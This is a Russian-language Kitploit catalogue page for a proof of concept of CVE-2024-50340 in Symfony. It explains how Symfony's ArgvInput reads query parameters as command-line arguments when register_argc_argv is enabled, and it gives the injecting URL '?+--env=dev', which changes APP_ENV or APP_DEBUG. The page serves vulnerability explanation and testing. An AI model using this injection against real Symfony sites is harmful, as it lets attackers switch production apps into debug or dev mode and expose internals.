Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-50340 — Эксплойт-концепция для CVE-2024-50340, демонстрирующая внедрение переменных окружения в Symfony ArgvInput через специально сформированные параметры URL-запроса, что позволяет манипулировать APP_ENV и APP_DEBUG. | Kitploit
Инструменты/GitHubGitHub/nyamort/cve-2024-50340
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubnyamort/cve-2024-50340

CVE-2024-50340

Эксплойт-концепция для CVE-2024-50340, демонстрирующая внедрение переменных окружения в Symfony ArgvInput через специально сформированные параметры URL-запроса, что позволяет манипулировать APP_ENV и APP_DEBUG.

Репозиторий
121 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-50340 POC

Требования

Опция register_argc_argv должна быть включена в конфигурационном файле PHP (php.ini). Эта настройка загружает аргументы командной строки и параметры запроса в $_SERVER['argv']. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

Объяснение уязвимого кода

Этот код Symfony использует входные аргументы (ArgvInput) для определения значений определённых переменных окружения, в частности APP_ENV и APP_DEBUG. Вот соответствующие части кода Symfony:

root@kitploit:~
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();

if (isset($this->options['env'])) {
    return $this->input = $input;
}

if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}

if ($input->hasParameterOption('--no-debug', true)) {
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}

Приведённый выше код обрабатывает аргументы, переданные через ArgvInput. Если параметр --env указан в argv, он соответствующим образом обновляет переменную окружения APP_ENV. Аналогично, если присутствует --no-debug, он устанавливает APP_DEBUG в 0.

Класс ArgvInput

Класс ArgvInput инициализирует параметры argv, переданные через командную строку, параметры запроса или по умолчанию — из $_SERVER['argv']. Функция array_shift($argv) удаляет первый элемент из массива $argv (обычно это имя приложения) и сохраняет оставшиеся аргументы в $this->tokens.

root@kitploit:~
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}

Пример PoC

Используя следующий URL: http://localhost/?+--env=dev, мы можем внедрить аргумент --env=dev в $_SERVER['argv']. Это позволяет нам изменить значение APP_ENV на dev без прямого изменения конфигурации приложения.

  1. При обращении к http://localhost/?+--env=dev, $_SERVER['argv'] может выглядеть так:
root@kitploit:~
$_SERVER['argv'] = ["+--env=dev"];
  1. В классе ArgvInput после операции array_shift, $argv становится:
root@kitploit:~
$argv = ["--env=dev"];
  1. Затем ArgvInput распознает --env=dev как допустимый параметр и обновит APP_ENV соответствующим образом через метод getParameterOption.
Скачать инструмент